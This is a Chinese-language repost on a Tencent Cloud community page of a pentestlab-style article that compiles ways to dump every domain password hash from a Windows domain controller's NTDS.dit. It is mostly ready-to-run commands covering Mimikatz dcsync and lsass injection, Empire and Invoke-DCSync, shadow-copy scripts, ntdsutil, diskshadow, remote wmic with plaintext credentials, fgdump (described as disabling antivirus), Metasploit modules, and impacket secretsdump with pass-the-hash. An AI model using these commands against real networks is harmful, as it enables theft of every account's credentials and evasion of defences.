首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >抓取域密码哈希的各种工具集合

抓取域密码哈希的各种工具集合

作者头像
信安之路
发布2021-07-29 10:48:04
2K0
发布2021-07-29 10:48:04
举报
文章被收录于专栏:信安之路信安之路

文章来源:pentestlab

在拿到域管理员权限之后,都会提取所有域用户的密码哈希进行离线破解和分析。这些密码哈希存储在域控制器(NTDS.DIT)中的数据库文件中,并包含一些附加信息,如组成员和用户。

NTDS.DIT 文件经常被操作系统使用,因此不能直接复制到另一个位置提取信息。此文件可在以下 Windows 目录下找到:

C:\Windows\NTDS\NTDS.dit:

下面就是关于如何提取域内哈希的各种方式及相关工具。

Mimikatz

Mimikatz 有一个功能(dcsync),该功能使用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码散列。通过这种方式无需登录域控制器进行操作,在任意一台域内成员机上均可操作,使用命令如下:

lsadump::dcsync /domain:pentestlab.local /all /csv

通过使用 /user参数指定用户名,Mimikatz 可以提取指定用户的密码信息:

lsadump::dcsync /domain:pentestlab.local /user:test

或者,直接在域控制器上执行 Mimikatz ,从进程 lsass 中提取:

privilege::debug lsadump::lsa /inject

提取的密码信息如下:

Empire

PowerShell Empire 有两个模块可以通过 DCSync 获取域内哈希。这两个模块都需要以域管理员的权限执行。该模块依赖于 Invoke-Mimikatz PowerShell 脚本来执行与 DCSync 相关的 Mimikatz 命令。dcsync_hashdump 模块输出的结果与 Metasploit 的 hashdump 命令相似:

usemodule credentials/mimikatz/dcsync_hashdump

DCSync 模块要求指定用户才能提取所有帐户信息:

获得的信息如下:

Nishang

Nishang 是一个 PowerShell 框架,Copy-VSS.ps1 脚本可用于自动提取所需文件:NTDS.DIT、SAM 和 SYSTEM,提取的文件存放于指定的目录下,项目下载地址:

https://github.com/samratashok/nishang

使用命令如下:

Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\

或者在 meterpreter 中使用:

load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

也可以直接在 Powershell 会话中执行:

Copy-VSS Copy-VSS -DestinationDir C:\Ninja

PowerSploit

PowerSploit 包含一个 PowerShell 脚本,VolumeShadowCopyTools.ps1 使用 shadow copy 服务,创建新的卷来提取相关文件:

Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy

或者在 Meterpreter 会话中使用:

powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy

然后,文件可以通过命令从新卷中复制。

Invoke-DCSync

脚本下载地址:

https://gist.github.com/monoxgas/9d238accd969550136db

使用命令:

Invoke-DCSync

结果将格式化为四个表:域、用户、ID 和 hash。然而,使用参数 -PWDumpFormat 执行可以将结果格式化为: user:id:lm:ntlm:::

Invoke-DCSync -PWDumpFormat

在 Meterpreter 会话中运行脚本,可以实现相同的输出:

使用 -PWDumpFormat 参数:

ntdsutil

ntdsutil 是一个命令行工具,是域控制器生态系统的一部分,其目的是使管理员能够访问和管理 Windows Active Directory 数据库。利用这个可以将相关文件提取出来,进行离线提取:

ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit

生成两个新文件夹:Active Directory 和 Registry。NTDS.DIT 文件将保存在 Active Directory 中,SAM 和 SYSTEM 文件将保存到注册表文件夹中

DiskShadow

DiskShadow 是一个微软签名的二进制文件,用于协助管理员进行与卷影复制服务(VSS)相关的操作,将以下内容保存在 diskshadow.txt 内:

然后执行:

diskshadow.exe /s c:\diskshadow.txt

运行以下命令将列出系统所有可用的卷影副本:

diskshadow LIST SHADOWS ALL

还需保存 system 的注册表项,因为其中保存了 NTDS 文件的解密密钥:

reg.exe save hklm\system c:\exfil\system.bak

WMI

通过 WMI 远程提取 NTDS.DIT 和 SYSTEM 文件,需要用到 vssadmin 来创建快照:

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

然后,远程执行复制命令,将相关文件移动到指定目录:

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"

这同样适用于 SYSTEM 文件:

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

然后将保存到文件移动到离线提取哈希的机器上:

PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c

如果已经生成了黄金票据,则可以使用 Kerberos 与域控制器进行身份验证。

vssadmin

vssadmin 是一个 Windows 命令行实用程序,管理员能够使用它备份计算机、卷和文件。Volume Shadow Copy作为服务运行,要求文件系统为 NTFS 格式。在 cmd 上执行下面的命令,制作 C 盘的卷影:

vssadmin create shadow /for=C:

C 盘的所有文件都已经复制到 HarddiskVolumeShadowCopy1 上,操作系统不直接使用,所以可以访问和复制其上的任何文件。将 NTDS.DITSYSTEM 文件复制到本地名为 ShadowCopy 的新文件夹:

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

这些文件需要从域控制器复制到另一个主机进行进一步处理:

vssown

vssadmin 类似,vssown 是一个 vbs 脚本,可以创建和删除卷影副本,使用方式如下:

cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete

可以使用命令复制副本中的所需文件:

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit

Metasploit 框架中可以使用下面的模块,提取 ntds 中的相关信息:

auxiliary/admin/smb/psexec_ntdsgrab

还可以使用下面的模块,直接在域控弹回的会话中执行:

windows/gather/credentials/domain_hashdump

或者在 meterpreter 中域控的会话直接执行 hashdump 命令,这种方式比较危险,因为容易使域控崩溃,谨慎使用:

fgdump

fgdump 是一个老的二进制文件,可以提取 LM 和 NTLM 密码散列,下载地址:

http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip

如果已经获得本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump 将尝试禁用可能在系统上运行的防病毒软件,如果成功禁用则将结果保存在文件中,如果失败,则不进行提取,防止被检测,使用方法直接在域控上运行即可:

fgdump.exe

可以通过 .pwdump 后缀的文件来查看结果:

type 127.0.0.1.pwdump

NTDS 离线提取

Impacket 是 python 脚本编写工具框架,使用其中的 impacket-secretsdump 模块提取 NTDS 中的密码哈希,下载地址:

https://github.com/CoreSecurity/impacket

提取之前需要 SYSTEM 和 NTDS 的数据库文件:

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,还可以远程提取 NTDS 的哈希,需要使用域管账号和哈希:

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

NTDSDumpEx 二进制文件也可以从 ntds.dit 中提取哈希,下载地址:

https://github.com/zcgonvh/NTDSDumpEx

使用方式:

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

还有一个 shell 脚本 adXtract,下载地址:

https://github.com/LordNem/adXtract

使用方式:

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

脚本会将不同信息存储在不同到文件中,比如用户信息:

密码散列到格式如下:

总结

本文整理了各种工具,以各种方式提取 NTDS 中的所有域哈希,最好的方式就是在 DCSync 和离线提取,尽量不要在域控服务器上执行过多操作,以免对目标造成可用性上的威胁。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Mimikatz
  • Empire
  • Nishang
  • PowerSploit
  • Invoke-DCSync
  • ntdsutil
  • DiskShadow
  • WMI
  • vssadmin
  • vssown
  • Metasploit
  • fgdump
  • NTDS 离线提取
  • 总结
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档